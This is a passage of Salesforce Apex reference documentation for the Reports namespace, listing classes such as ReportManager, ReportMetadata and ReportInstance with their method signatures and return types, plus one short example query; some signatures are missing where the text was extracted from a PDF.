operator
Type: String
value
Type: String
ReportFilter Methods
The following are methods for ReportFilter. All are instance methods.
IN THIS SECTION:
getColumn()
Returns the unique API name for the field that’s being filtered.
getOperator()
Returns the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions
depend on the data type of the field.
getValue()
Returns the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.
setColumn(column)
Sets the unique API name for the field that’s being filtered.
setOperator(operator)
Sets the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions
setValue(value)
Sets the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.
getColumn()
Returns the unique API name for the field that’s being filtered.
2218
Syntax
public String getColumn()
Return Value
Type: String
getOperator()
Returns the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions
Syntax
public String getOperator()
Return Value
Type: String
getValue()
Returns the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.
Syntax
Return Value
Type: String
setColumn(column)
Sets the unique API name for the field that’s being filtered.
Syntax
public Void setColumn(String column)
Parameters
column
Type: String
Return Value
Type: Void
2219
setOperator(operator)
Sets the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions depend
on the data type of the field.
Syntax
public Void setOperator(String operator)
Parameters
operator
Type: String
Return Value
Type: Void
setValue(value)
Sets the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.
Syntax
public Void setValue(String value)
Parameters
value
Type: String
Return Value
Type: Void
ReportFormat Enum
Contains the possible report format types.
Namespace
Reports
Enum Values
The following are the values of the Reports.ReportFormat enum.
Value Description
MATRIX Matrix report format
SUMMARY Summary report format
2220
Value Description
TABULAR Tabular report format
ReportInstance Class
Returns an instance of a report that was run asynchronously. Retrieves the results for that instance.
Namespace
Reports
ReportInstance Methods
The following are methods for ReportInstance. All are instance methods.
IN THIS SECTION:
getCompletionDate()
Returns the date and time when the instance of the report finished running. The completion date is available only if the report
instance ran successfully or couldn’t be run because of an error. Date and time information is in ISO-8601 format.
getId()
Returns the unique ID for an instance of a report that was run asynchronously.
getOwnerId()
Returns the ID of the user who created the report instance.
getReportId()
Returns the unique ID of the report this instance is based on.
getReportResults()
Retrieves results for an instance of an asynchronous report. When you request your report, you can specify whether to summarize
data or include details.
getRequestDate()
Returns the date and time when an instance of the report was run. Date and time information is in ISO-8601 format.
getStatus()
Returns the status of a report.
getCompletionDate()
Returns the date and time when the instance of the report finished running. The completion date is available only if the report instance
ran successfully or couldn’t be run because of an error. Date and time information is in ISO-8601 format.
Syntax
public Datetime getCompletionDate()
Return Value
Type: Datetime
2221
getId()
Returns the unique ID for an instance of a report that was run asynchronously.
Syntax
public Id getId()
Return Value
Type: Id
getOwnerId()
Returns the ID of the user who created the report instance.
Syntax
public Id getOwnerId()
Return Value
Type: Id
getReportId()
Returns the unique ID of the report this instance is based on.
Syntax
public Id getReportId()
Return Value
Type: Id
getReportResults()
Retrieves results for an instance of an asynchronous report. When you request your report, you can specify whether to summarize data
or include details.
Syntax
public Reports.ReportResults getReportResults()
Return Value
Type: Reports.ReportResults
getRequestDate()
Returns the date and time when an instance of the report was run. Date and time information is in ISO-8601 format.
2222
Syntax
public Datetime getRequestDate()
Return Value
Type: Datetime
getStatus()
Returns the status of a report.
Syntax
public String getStatus()
Return Value
Type: String
Usage
• New if the report run was recently triggered through a request.
• Success if the report ran.
• Running if the report is being run.
• Error if the report run failed. The instance of a report run can return an error if, for example, your permission to access the report
was removed after you requested the run.
ReportManager Class
Runs a report synchronously or asynchronously and with or without details.
Namespace
Reports
Usage
Gets instances of reports and describes the metadata of Reports.
ReportManager Methods
The following are methods for ReportManager. All methods are static.
IN THIS SECTION:
describeReport(reportId)
Retrieves report, report type, and extended metadata for a tabular, summary, or matrix report.
getDatatypeFilterOperatorMap()
Lists the field data types that you can use to filter the report.
2223
getReportInstance(instanceId)
Retrieves results for an instance of a report that has been run asynchronously. The settings you use when you run your asynchronous
report determine whether you can retrieve summary data or detailed data.
getReportInstances(reportId)
Returns a list of instances for a report that was run asynchronously. Each item in the list represents a separate instance of the report,
with metadata for the time at which the report was run.
runAsyncReport(reportId, reportMetadata, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true. Filters the report based
on the report metadata in reportMetadata.
runAsyncReport(reportId, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true.
runAsyncReport(reportId, reportMetadata)
Runs a report asynchronously with the report ID. Filters the results based on the report metadata in reportMetadata.
runAsyncReport(reportId)
Runs a report asynchronously with the report ID.
runReport(reportId, reportMetadata, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true. Filters the results based on
the report metadata in reportMetadata.
runReport(reportId, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true.
runReport(reportId, reportMetadata)
Runs a report immediately with the report ID. Filters the results based on the report metadata in rmData.
runReport(reportId)
Runs a report immediately with the report ID.
describeReport(reportId)
Retrieves report, report type, and extended metadata for a tabular, summary, or matrix report.
Syntax
public static Reports.ReportDescribeResult describeReport(Id reportId)
Parameters
reportId
Type: Id
Return Value
Type: Reports.ReportDescribeResult
getDatatypeFilterOperatorMap()
Lists the field data types that you can use to filter the report.
2224
Syntax
public static MAP<String,LIST<Reports.FilterOperator>> getDatatypeFilterOperatorMap()
Return Value
Type: Map<String, List<Reports.FilterOperator>>
getReportInstance(instanceId)
Retrieves results for an instance of a report that has been run asynchronously. The settings you use when you run your asynchronous
report determine whether you can retrieve summary data or detailed data.
Syntax
public static Reports.ReportInstance getReportInstance(Id instanceId)
Parameters
instanceId
Type: Id
Return Value
getReportInstances(reportId)
Returns a list of instances for a report that was run asynchronously. Each item in the list represents a separate instance of the report, with
metadata for the time at which the report was run.
Syntax
public static LIST<Reports.ReportInstance> getReportInstances(Id reportId)
Parameters
reportId
Type: Id
Return Value
Type: List<Reports.ReportInstance>
runAsyncReport(reportId, reportMetadata, includeDetails)

Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true. Filters the report based on
the report metadata in reportMetadata.
2225
Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata
reportMetadata, Boolean includeDetails)
Parameters
reportId
Type: Id
reportMetadata
includeDetails
Type: Boolean
Return Value
runAsyncReport(reportId, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true.
Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Boolean includeDetails)
Parameters
reportId
Type: Id
includeDetails
Type: Boolean
Return Value
runAsyncReport(reportId, reportMetadata)
Runs a report asynchronously with the report ID. Filters the results based on the report metadata in reportMetadata.
Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata
reportMetadata)
Parameters
reportId
Type: Id
2226
reportMetadata
Return Value
runAsyncReport(reportId)
Runs a report asynchronously with the report ID.
Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId)
Parameters
reportId
Type: Id
Return Value
runReport(reportId, reportMetadata, includeDetails)

Runs a report immediately with the report ID. Includes details if includeDetails is set to true. Filters the results based on the
report metadata in reportMetadata.
Syntax
public static Reports.ReportResults runReport(Id reportId, Reports.ReportMetadata
reportMetadata, Boolean includeDetails)
Parameters
reportId
Type: Id
reportMetadata
includeDetails
Type: Boolean
Return Value
runReport(reportId, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true.
2227
Syntax
public static Reports.ReportResults runReport(Id reportId, Boolean includeDetails)
Parameters
reportId
Type: Id
includeDetails
Type: Boolean
Return Value
runReport(reportId, reportMetadata)
Runs a report immediately with the report ID. Filters the results based on the report metadata in rmData.
Syntax
public static Reports.ReportResults runReport(Id reportId, Reports.ReportMetadata
reportMetadata)
Parameters
reportId
Type: Id
reportMetadata
Type: Reports.ReportMetadata Reports.ReportMetadata
Return Value
runReport(reportId)
Runs a report immediately with the report ID.
Syntax
public static Reports.ReportResults runReport(Id reportId)
Parameters
reportId
Type: Id
Return Value
2228
ReportMetadata Class
Contains report metadata for a tabular, summary, or matrix report.
Namespace
Reports
Usage
Report metadata gives information about the report as a whole, such as the report type, format, summary fields, row or column groupings,
and filters that are saved to the report. You can use the ReportMetadata class to retrieve report metadata and to set metadata
that can be used to filter a report.
ReportMetadata Methods
The following are methods for ReportMetadata. All are instance methods.
IN THIS SECTION:
getAggregates()
Returns unique identifiers for summary or custom summary formula fields in the report.
getBuckets()
Returns a list of bucket fields in the report.
getCrossFilters()
Returns information about cross filters applied to a report.
getCurrencyCode()
Returns report currency, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if the
organization does not have multicurrency enabled.
getCustomSummaryFormula()
Returns information about custom summary formulas in a report.
getDescription()
Returns the description of the report.
getDetailColumns()
Returns unique API names (column names) for the fields that contain detailed data. For example, the method might return the
following values: “OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, AMOUNT.”
getDeveloperName()
Returns the report API name. For example, the method might return the following value: “Closed_Sales_This_Quarter.”
getDivision()
Returns the division specified in the report.
getGroupingsAcross()
Returns column groupings in a report.
getGroupingsDown()
Returns row groupings for a report.
2229
getHasDetailRows()
Indicates whether the report has detail rows.
getHasRecordCount()
Indicates whether the report shows the total number of records.
getHistoricalSnapshotDates()
Returns a list of historical snapshot dates.
getId()
Returns the unique report ID.
getName()
Returns the report name.
getReportBooleanFilter()
Returns logic to parse custom field filters. The value is null when filter logic is not specified.
getReportFilters()
Returns a list of each custom filter in the report along with the field name, filter operator, and filter value.
getReportFormat()
Returns the format of the report.
getReportType()
Returns the unique API name and display name for the report type.
getScope()
Returns the API name for the scope defined for the report. Scope values depend on the report type.
getShowGrandTotal()
Indicates whether the report shows the grand total.
getShowSubtotals()
Indicates whether the report shows subtotals, such as column or row totals.
getSortBy()
Returns the list of columns on which the report is sorted. Currently, you can sort on only one column.
getStandardDateFilter()
Returns information about the standard date filter for the report, such as the start date, end date, date range, and date field API
name.
getStandardFilters()
Returns a list of standard filters for the report.
getTopRows()
Returns information about a row limit filter, including the number of rows returned and the sort order.
setAggregates(aggregates)
Sets unique identifiers for standard or custom summary formula fields in the report.
setBuckets(buckets)
Creates bucket fields in a report.
setCrossFilters(crossFilters)
Applies cross filters to a report.
setCurrencyCode(currencyCode)
Sets the currency, such as USD, EUR, or GBP, for report summary fields in an organization that has multicurrency enabled.
2230
setCustomSummaryFormula(customSummaryFormula)
Adds a custom summary formula to a report.
Sets the description of the report.
setDetailColumns(detailColumns)
Sets the unique API names for the fields that contain detailed data—for example, OPPORTUNITY_NAME, TYPE, LEAD_SOURCE,
or AMOUNT.
setDeveloperName(developerName)
Sets the report API name—for example, Closed_Sales_This_Quarter.
setDivision(division)
Sets the division of the report.
setGroupingsAcross(groupingInfo)
Sets column groupings in a report.
setGroupingsDown(groupingInfo)
Sets row groupings for a report.
setHasDetailRows(hasDetailRows)
Specifies whether the report has detail rows.
setHasRecordCount(hasRecordCount)
Specifies whether the report is configured to show the total number of records.
setHistoricalSnapshotDates(historicalSnapshot)
Sets a list of historical snapshot dates.
setId(id)
Sets the unique report ID.
setName(name)
Sets the report name.
setReportBooleanFilter(reportBooleanFilter)
Sets logic to parse custom field filters.
setReportFilters(reportFilters)
Sets a list of each custom filter in the report along with the field name, filter operator, and filter value.
setReportFormat(format)
Sets the format of the report.
setReportType(reportType)
Sets the unique API name and display name for the report type.
setScope(scopeName)
Sets the API name for the scope defined for the report. Scope values depend on the report type.
setShowGrandTotal(showGrandTotal)
Specifies whether the report shows the grand total.
setShowSubtotals(showSubtotals)
Specifies whether the report shows subtotals, such as column or row totals.
setSortBy(column)
Sets the list of columns on which the report is sorted. Currently, you can only sort on one column.
2231
setStandardDateFilter(dateFilter)
Sets the standard date filter—which includes the start date, end date, date range, and date field API name—for the report.
setStandardFilters(filters)
Sets one or more standard filters on the report.
setTopRows(topRows)
Applies a row limit filter to a report.
getAggregates()
Returns unique identifiers for summary or custom summary formula fields in the report.
Syntax
public LIST<String> getAggregates()
Return Value
Type: List<String>
Usage
For example:
• a!Amount represents the average for the Amount column.
• s!Amount represents the sum of the Amount column.
• m!Amount represents the minimum value of the Amount column.
• x!Amount represents the maximum value of the Amount column.
• s!<customfieldID> represents the sum of a custom field column. For custom fields and custom report types, the identifier
is a combination of the summary type and the field ID.
getBuckets()
Returns a list of bucket fields in the report.
Signature
public List<Reports.BucketField> getBuckets()
Return Value
Type: List<Reports.BucketField>
getCrossFilters()
Returns information about cross filters applied to a report.
Signature
public Reports.CrossFilter getCrossFilters()
2232
Return Value
Type: List<Reports.CrossFilter>
getCurrencyCode()
Returns report currency, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if the
organization does not have multicurrency enabled.
Syntax
public String getCurrencyCode()
Return Value
Type: String
getCustomSummaryFormula()
Returns information about custom summary formulas in a report.
Signature
public Map<String,Reports.ReportCsf> getCustomSummaryFormula()
Return Value
Type: Map<String,Reports.ReportCsf>
getDescription()
Returns the description of the report.
Signature
Return Value
Type: String
getDetailColumns()
Returns unique API names (column names) for the fields that contain detailed data. For example, the method might return the following
values: “OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, AMOUNT.”
Syntax
public LIST<String> getDetailColumns()
2233
Return Value
Type: List<String>
getDeveloperName()
Returns the report API name. For example, the method might return the following value: “Closed_Sales_This_Quarter.”
Syntax
public String getDeveloperName()
Return Value
Type: String
getDivision()
Returns the division specified in the report.
Note: Reports that use standard filters (such as My Cases or My Team’s Accounts) show records in all divisions. These reports can’t
be further limited to a specific division.
Signature
public String getDivision()
Return Value
Type: String
Returns column groupings in a report.
Syntax
public LIST<Reports.GroupingInfo> getGroupingsAcross()
Return Value
Type: List<Reports.GroupingInfo>
Usage
The identifier is:
• An empty array for reports in summary format, because summary reports don't include column groupings
• BucketField_(ID) for bucket fields
• The ID of a custom field when the custom field is used for a column grouping
2234
getGroupingsDown()
Returns row groupings for a report.
Syntax
public LIST<Reports.GroupingInfo> getGroupingsDown()
Return Value
Usage
The identifier is:
• BucketField_(ID) for bucket fields
• The ID of a custom field when the custom field is used for grouping
getHasDetailRows()
Indicates whether the report has detail rows.
Signature
public Boolean getHasDetailRows()
Return Value
Type: Boolean
getHasRecordCount()
Indicates whether the report shows the total number of records.
Signature
public Boolean getHasRecordCount()
Return Value
Type: Boolean
getHistoricalSnapshotDates()
Returns a list of historical snapshot dates.
Syntax
public LIST<String> getHistoricalSnapshotDates()
2235
Return Value
Type: List<String>
getId()
Returns the unique report ID.
Syntax
public Id getId()
Return Value
Type: Id
getName()
Returns the report name.
Syntax
Return Value
Type: String
getReportBooleanFilter()
Returns logic to parse custom field filters. The value is null when filter logic is not specified.
Syntax
public String getReportBooleanFilter()
Return Value
Type: String
getReportFilters()
Returns a list of each custom filter in the report along with the field name, filter operator, and filter value.
Syntax
public LIST<Reports.ReportFilter> getReportFilters()
Return Value
2236
getReportFormat()
Returns the format of the report.
Syntax
public Reports.ReportFormat getReportFormat()
Return Value
Type: Reports.ReportFormat
Usage
This value can be:
• TABULAR
• SUMMARY
• MATRIX
getReportType()
Returns the unique API name and display name for the report type.
Syntax
public Reports.ReportType getReportType()
Return Value
Type: Reports.ReportType
getScope()
Returns the API name for the scope defined for the report. Scope values depend on the report type.
Signature
public String getScope()
Return Value
Type: String
getShowGrandTotal()
Indicates whether the report shows the grand total.
Signature
public Boolean getShowGrandTotal()
2237
Return Value
Type: Boolean
getShowSubtotals()
Indicates whether the report shows subtotals, such as column or row totals.
Signature
public Boolean getShowSubtotals()
Return Value
Type: Boolean
getSortBy()
Returns the list of columns on which the report is sorted. Currently, you can sort on only one column.
Signature
public List<Reports.SortColumn> getSortBy()
Return Value
Type: List<Reports.SortColumn>
getStandardDateFilter()
Returns information about the standard date filter for the report, such as the start date, end date, date range, and date field API name.
Signature
public Reports.StandardDateFilter getStandardDateFilter()
Return Value
Type: Reports.StandardDateFilter
getStandardFilters()
Returns a list of standard filters for the report.
Signature
public List<Reports.StandardFilter> getStandardFilters()
Return Value
Type: List<Reports.StandardFilter>
2238
getTopRows()
Returns information about a row limit filter, including the number of rows returned and the sort order.
Signature
public Reports.TopRows getTopRows()
Return Value
Type: Reports.TopRows
setAggregates(aggregates)
Sets unique identifiers for standard or custom summary formula fields in the report.
Signature
public void setAggregates(List<String> aggregates)
Parameters
aggregates
Type: List<String>
Return Value
Type: void
setBuckets(buckets)
Creates bucket fields in a report.
Signature
public void setBuckets(List<Reports.BucketField> buckets)
Parameters
buckets
Type: List<Reports.BucketField>
Return Value
Type: void
setCrossFilters(crossFilters)
Applies cross filters to a report.
2239
Signature
public void setCrossFilters(List<Reports.CrossFilter> crossFilters)
Parameters
crossFilter
Type: List<Reports.CrossFilter>
Return Value
Type: void
setCurrencyCode(currencyCode)
Sets the currency, such as USD, EUR, or GBP, for report summary fields in an organization that has multicurrency enabled.
Signature
public void setCurrencyCode(String currencyCode)
Parameters
currencyCode
Type: String
Return Value
Type: void
setCustomSummaryFormula(customSummaryFormula)
Adds a custom summary formula to a report.
Signature
public void setCustomSummaryFormula(MAP<String,Reports.ReportCsf> customSummaryFormula)
Parameters
customSummaryFormula
Type: Map<String, Reports.ReportCsf>
Return Value
Type: void
Sets the description of the report.
2240
Signature
public void setDescription(String description)
Parameters
description
Type: String
Return Value
Type: void
setDetailColumns(detailColumns)
Sets the unique API names for the fields that contain detailed data—for example, OPPORTUNITY_NAME, TYPE, LEAD_SOURCE,
or AMOUNT.
Signature
public void setDetailColumns(List<String> detailColumns)
Parameters
detailColumns
Type: List<String>
Return Value
Type: void
setDeveloperName(developerName)
Sets the report API name—for example, Closed_Sales_This_Quarter.
Signature
public void setDeveloperName(String developerName)
Parameters
developerName
Type: String
Return Value
Type: void
setDivision(division)
Sets the division of the report.
2241
Note: Reports that use standard filters (such as My Cases or My Team’s Accounts) show records in all divisions. These reports can’t
be further limited to a specific division.
Signature
public void setDivision(String division)
Parameters
division
Type: String
Return Value
Type: void
setGroupingsAcross(groupingInfo)
Sets column groupings in a report.
Signature
public void setGroupingsAcross(List<Reports.GroupingInfo> groupingInfo)
Parameters
groupingInfo
Return Value
Type: void
setGroupingsDown(groupingInfo)
Sets row groupings for a report.
Signature
public void setGroupingsDown(List<Reports.GroupingInfo> groupingInfo)
Parameters
groupingInfo
Return Value
Type: void
2242
setHasDetailRows(hasDetailRows)
Specifies whether the report has detail rows.
Signature
public void setHasDetailRows(Boolean hasDetailRows)
Parameters
hasDetailRows
Type: Boolean
Return Value
Type: void
setHasRecordCount(hasRecordCount)
Specifies whether the report is configured to show the total number of records.
Signature
public void setHasRecordCount(Boolean hasRecordCount)
Parameters
hasRecordCount
Type: Boolean
Return Value
Type: void
setHistoricalSnapshotDates(historicalSnapshot)
Sets a list of historical snapshot dates.
Syntax
public Void setHistoricalSnapshotDates(LIST<String> historicalSnapshot)
Parameters
historicalSnapshot
Type: List<String>
Return Value
Type: Void
2243
setId(id)
Sets the unique report ID.
Signature
public void setId(Id id)
Parameters
id
Type: Id
Return Value
Type: void
setName(name)
Sets the report name.
Signature
public void setName(String name)
Parameters
name
Type: String
Return Value
Type: void
setReportBooleanFilter(reportBooleanFilter)
Sets logic to parse custom field filters.
Syntax
public Void setReportBooleanFilter(String reportBooleanFilter)
Parameters
reportBooleanFilter
Type: String
Return Value
Type: Void
2244
setReportFilters(reportFilters)
Sets a list of each custom filter in the report along with the field name, filter operator, and filter value.
Syntax
public Void setReportFilters(LIST<Reports.ReportFilter> reportFilters)
Parameters
reportFilters
Return Value
Type: Void
setReportFormat(format)
Sets the format of the report.
Signature
public void setReportFormat(Reports.ReportFormat format)
Parameters
format
Type: Reports.ReportFormat
Return Value
Type: void
setReportType(reportType)
Sets the unique API name and display name for the report type.
Signature
public void setReportType(Reports.ReportType reportType)
Parameters
reportType
Type: Reports.ReportType
Return Value
Type: void
2245
setScope(scopeName)
Sets the API name for the scope defined for the report. Scope values depend on the report type.
Signature
public void setScope(String scopeName)
Parameters
scopeName
Type: String
Return Value
Type: void
setShowGrandTotal(showGrandTotal)
Specifies whether the report shows the grand total.
Signature
public void setShowGrandTotal(Boolean showGrandTotal)
Parameters
showGrandTotal
Type: Boolean
Return Value
Type: void
setShowSubtotals(showSubtotals)
Specifies whether the report shows subtotals, such as column or row totals.
Signature
public void setShowSubtotals(Boolean showSubtotals)
Parameters
showSubtotals
Type: Boolean
Return Value
Type: void
2246
setSortBy(column)
Sets the list of columns on which the report is sorted. Currently, you can only sort on one column.
Signature
public void setSortBy(List<Reports.SortColumn> column)
Parameters
column
Type: List<Reports.SortColumn>
Return Value
Type: void
setStandardDateFilter(dateFilter)
Sets the standard date filter—which includes the start date, end date, date range, and date field API name—for the report.
Signature
public void setStandardDateFilter(Reports.StandardDateFilter dateFilter)
Parameters
dateFilter
Type: Reports.StandardDateFilter
Return Value
Type: void
setStandardFilters(filters)
Sets one or more standard filters on the report.
Signature
public void setStandardFilters(List<Reports.StandardFilter> filters)
Parameters
filters
Type: List<Reports.StandardFilter>
Return Value
Type: void
2247
setTopRows(topRows)
Applies a row limit filter to a report.
Signature
public Reports.TopRows setTopRows(Reports.TopRows topRows)
Parameters
topRows
Type: Reports.TopRows
Return Value
Type: void
ReportResults Class
Contains the results of running a report.
Namespace
Reports
ReportResults Methods
The following are methods for ReportResults. All are instance methods.
IN THIS SECTION:
getAllData()
Returns all report data.
getFactMap()
Returns summary-level data or summary and detailed data for each row or column grouping. Detailed data is available if the
includeDetails parameter is set to true when the report is run.
Returns a collection of column groupings, keys, and values.
getGroupingsDown()
Returns a collection of row groupings, keys, and values.
getHasDetailRows()
Returns information about whether the fact map has detail rows.
Returns additional, detailed metadata about the report, including data type and label information for groupings and summaries.
getReportMetadata()
Returns metadata about the report, including grouping and summary information.
2248
getAllData()
Returns all report data.
Syntax
public Boolean getAllData()
Return Value
Type: Boolean
Usage
When true, indicates that all report results are returned.
When false, indicates that results are returned for the same number of rows as in a report run in Salesforce.
Note: For reports that contain too many records, use filters to refine results.
getFactMap()
Returns summary-level data or summary and detailed data for each row or column grouping. Detailed data is available if the
includeDetails parameter is set to true when the report is run.
Syntax
public MAP<String,Reports.ReportFact> getFactMap()
Return Value
Type: Map<String,Reports.ReportFact>
Returns a collection of column groupings, keys, and values.
Syntax
public Reports.Dimension getGroupingsAcross()
Return Value
Type: Reports.Dimension
getGroupingsDown()
Returns a collection of row groupings, keys, and values.
Syntax
public Reports.Dimension getGroupingsDown()
2249
Return Value
Type: Reports.Dimension
getHasDetailRows()
Returns information about whether the fact map has detail rows.
Syntax
public Boolean getHasDetailRows()
Return Value
Type: Boolean
Usage
• When true, indicates that the fact map returns values for summary-level and record-level data.
• When false, indicates that the fact map returns summary values.
Returns additional, detailed metadata about the report, including data type and label information for groupings and summaries.
Syntax
public Reports.ReportExtendedMetadata getReportExtendedMetadata()
Return Value
Type: Reports.ReportExtendedMetadata
getReportMetadata()
Returns metadata about the report, including grouping and summary information.
Syntax
public Reports.ReportMetadata getReportMetadata()
Return Value
ReportScopeInfo Class
Contains information about possible scope values that you can choose. Scope values depend on the report type. For example, you can
set the scope for opportunity reports to All opportunities, My team’s opportunities, or My opportunities.
2250
Namespace
Reports
IN THIS SECTION:
ReportScopeInfo Methods
ReportScopeInfo Methods
The following are methods for ReportScopeInfo.
IN THIS SECTION:
getDefaultValue()
Returns the default scope of the data to display in the report.
getValues()
Returns a list of scope values specified for the report.
getDefaultValue()
Returns the default scope of the data to display in the report.
Signature
Return Value
Type: String
getValues()
Returns a list of scope values specified for the report.
Signature
public List<Reports.ReportScopeValue> getValues()
Return Value
Type: List<Reports.ReportScopeValue>
ReportScopeValue Class
Contains information about a possible scope value. Scope values depend on the report type. For example, you can set the scope for
opportunity reports to All opportunities, My team’s opportunities, or My opportunities.
Namespace
Reports
2251
IN THIS SECTION:
ReportScopeValue Methods
ReportScopeValue Methods
The following are methods for ReportScopeValue.
IN THIS SECTION:
getAllowsDivision()
Returns a boolean value that indicates whether you can segment the report by this scope.
getLabel()
Returns the display name of the scope of the report.
getValue()
Returns the scope value for the report.
getAllowsDivision()
Returns a boolean value that indicates whether you can segment the report by this scope.
Signature
public Boolean getAllowsDivision()
Return Value
Type: Boolean
getLabel()
Returns the display name of the scope of the report.
Signature
Return Value
Type: String
getValue()
Returns the scope value for the report.
Signature
2252
Return Value
Type: String
ReportType Class
Contains the unique API name and display name for the report type.
Namespace
Reports
ReportType Methods
The following are methods for ReportType. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the report type.
getType()
Returns the unique identifier of the report type.
getLabel()
Returns the localized display name of the report type.
Syntax
Return Value
Type: String
getType()
Returns the unique identifier of the report type.
Syntax
Return Value
Type: String
ReportTypeColumn Class
Contains detailed report type metadata about a field, including data type, display name, and filter values.
2253
Namespace
Reports
ReportTypeColumn Methods
The following are methods for ReportTypeColumn. All are instance methods.
IN THIS SECTION:
getDataType()
Returns the data type of the field.
getFilterValues()
If the field data type is picklist, multi-select picklist, boolean, or checkbox, returns all filter values for a field. For example, checkbox
fields always have a value of true or false. For fields of other data types, the filter value is an empty array, because their values
can’t be determined.
getFilterable()
If the field is of a type that can’t be filtered, returns False. For example, fields of the type Encrypted Text can’t be filtered.
getLabel()
Returns the localized display name of the field.
getName()
Returns the unique API name of the field.
getDataType()
Returns the data type of the field.
Syntax
Return Value
getFilterValues()
If the field data type is picklist, multi-select picklist, boolean, or checkbox, returns all filter values for a field. For example, checkbox fields
always have a value of true or false. For fields of other data types, the filter value is an empty array, because their values can’t be
determined.
Syntax
public LIST<Reports.FilterValue> getFilterValues()
Return Value
2254
getFilterable()
If the field is of a type that can’t be filtered, returns False. For example, fields of the type Encrypted Text can’t be filtered.
Syntax
public Boolean getFilterable()
Return Value
Type: Boolean
getLabel()
Returns the localized display name of the field.
Syntax
Return Value
Type: String
getName()
Returns the unique API name of the field.
Syntax
Return Value
Type: String
ReportTypeColumnCategory Class
Information about categories of fields in a report type.
Namespace
Reports
Usage
A report type column category is a set of fields that the report type grants access to. For example, an opportunity report has categories
like Opportunity Information and Primary Contact. The Opportunity Information category has fields like Amount, Probability, and Close
Date.
2255
Get category information about a report by first getting the report metadata:
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where DeveloperName =
'Q1_Opportunities2'];
// Describe the report

Reports.ReportDescribeResult describeResults =
Reports.ReportManager.describeReport(reportId);
// Get report type metadata

Reports.ReportTypeMetadata reportTypeMetadata = describeResults.getReportTypeMetadata();
// Get report type column categories

List<Reports.ReportTypeColumnCategory> reportTypeColumnCategories =
reportTypeMetadata.getCategories();
System.debug('reportTypeColumnCategories: ' + reportTypeColumnCategories);
ReportTypeColumnCategory Methods
The following are methods for ReportTypeColumnCategory. All are instance methods.
IN THIS SECTION:
getColumns()
Returns information for all fields in the report type. The information is organized by each section’s unique API name.
getLabel()
Returns the localized display name of a section in the report type under which fields are organized. For example, in an Accounts
with Contacts custom report type, Account General is the display name of the section that contains fields on general account
information.
getColumns()
Returns information for all fields in the report type. The information is organized by each section’s unique API name.
Syntax
public MAP<String,Reports.ReportTypeColumn> getColumns()
Return Value
Type: Map<String,Reports.ReportTypeColumn>
getLabel()
Returns the localized display name of a section in the report type under which fields are organized. For example, in an Accounts with
Contacts custom report type, Account General is the display name of the section that contains fields on general account information.
2256
Syntax
Return Value
Type: String
ReportTypeMetadata Class
Contains report type metadata, which gives you information about the fields that are available in each section of the report type, plus
filter information for those fields.
Namespace
Reports
IN THIS SECTION:
ReportTypeMetadata Methods
ReportTypeMetadata Methods
The following are methods for ReportTypeMetadata. All are instance methods.
IN THIS SECTION:
getCategories()
Returns all fields in the report type. The fields are organized by section.
getDivisionInfo()
Returns the default division and a list of all possible divisions that can be applied to this type of report.
getScopeInfo()
Returns information about the scopes that can be applied to this type of report.
getStandardDateFilterDurationGroups()
Returns information about the standard date filter groupings that can be applied to this type of report. Standard date filter groupings
include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day and a custom value based
on a user-defined date range.
getStandardFilterInfos()
Returns information about standard date filters that can be applied to this type of report.
getCategories()
Returns all fields in the report type. The fields are organized by section.
Syntax
public LIST<Reports.ReportTypeColumnCategory> getCategories()
2257
Return Value
Type: List<Reports.ReportTypeColumnCategory>
getDivisionInfo()
Returns the default division and a list of all possible divisions that can be applied to this type of report.
Signature
public Reports.ReportDivisionInfo getDivisionInfo()
Return Value
Type: Reports.ReportDivisionInfo
getScopeInfo()
Returns information about the scopes that can be applied to this type of report.
Signature
public Reports.ReportScopeInfo getScopeInfo()
Return Value
Type: Reports.ReportScopeInfo
Returns information about the standard date filter groupings that can be applied to this type of report. Standard date filter groupings
include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day and a custom value based on
a user-defined date range.
Signature
public List<Reports.StandardDateFilterDurationGroup>
Return Value
Type: List<Reports.StandardDateFilterDurationGroup>
getStandardFilterInfos()
Returns information about standard date filters that can be applied to this type of report.
Signature
public Map<String,Reports.StandardFilterInfo> getStandardFilterInfos()
2258
Return Value
Type: Map<String,Reports.StandardFilterInfo>
SortColumn Class
Contains information about the sort column used in the report.
Namespace
Reports
IN THIS SECTION:
SortColumn Methods
SortColumn Methods
The following are methods for SortColumn.
IN THIS SECTION:
getSortColumn()
Returns the column used to sort the records in the report.
getSortOrder()
Returns the the sort order— ascending or descending—for the sort column.
setSortColumn(sortColumn)
Sets the column used to sort the records in the report.
setSortOrder(SortOrder)
Sets the sort order— ascending or descending—for the sort column.
getSortColumn()
Returns the column used to sort the records in the report.
Signature
public String getSortColumn()
Return Value
Type: String
getSortOrder()
Returns the the sort order— ascending or descending—for the sort column.
Signature
public Reports.ColumnSortOrder getSortOrder()
2259
Return Value
setSortColumn(sortColumn)
